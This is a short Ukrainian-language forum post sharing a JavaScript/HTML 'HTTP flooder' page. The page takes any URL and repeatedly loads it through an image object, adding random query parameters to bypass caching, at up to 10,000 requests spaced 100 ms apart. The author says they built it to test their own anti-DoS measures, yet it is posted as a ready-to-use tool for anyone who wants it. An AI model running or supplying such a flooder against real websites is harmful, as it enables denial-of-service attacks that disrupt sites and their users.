Тема: HTTP флудер на JS
Писав для себе,коли тестував свій невеличкий антиDoS.
Робить підключення з інтервалом в 100 мсек. (можете змінити в коді)
Тримайте,можливо комусь знадобиться..
Адрес сайту вводити так: http://test.com/ (слеш в кінці обовязковий)
<!DOCTYPE html>
<head>
<meta charset="utf-8"/>
<title>DoS JS</title>
</head>
<body>
Адрес сайту:
<br>
<input type="url" placeholder="http://test.com/" id="url">
<br>
Кількість запитів:
<div id="getCount"></div>
<input type="range" min="10" max="10000" id="setCount">
<br>
<input type="button" id="connect" value="Почати">
Відправлено: <span id="OK">0</span>
<form method="POST"><input type="submit" value="Зупинити">
<script type="text/javascript">
setInterval(function()
{
var count = document.getElementById("setCount").value;
document.getElementById("getCount").innerHTML = count;
},500);
document.getElementById("connect").onclick = function()
{
var i = 1;
var url = document.getElementById("url").value;
http = new Image();
var setConnect = setInterval(function()
{
http.src = url+"?a="+Math.random()+"&b="+Math.random();
i++;
document.getElementById("OK").innerHTML = i;
var count = document.getElementById("setCount").value;
if(i == count)
{
clearInterval(setConnect);
alert("Виконано. Відправлено "+i+" запитів!");
document.getElementById("OK").innerHTML = 0;
}
},100);
}
</script>
</body>
</html>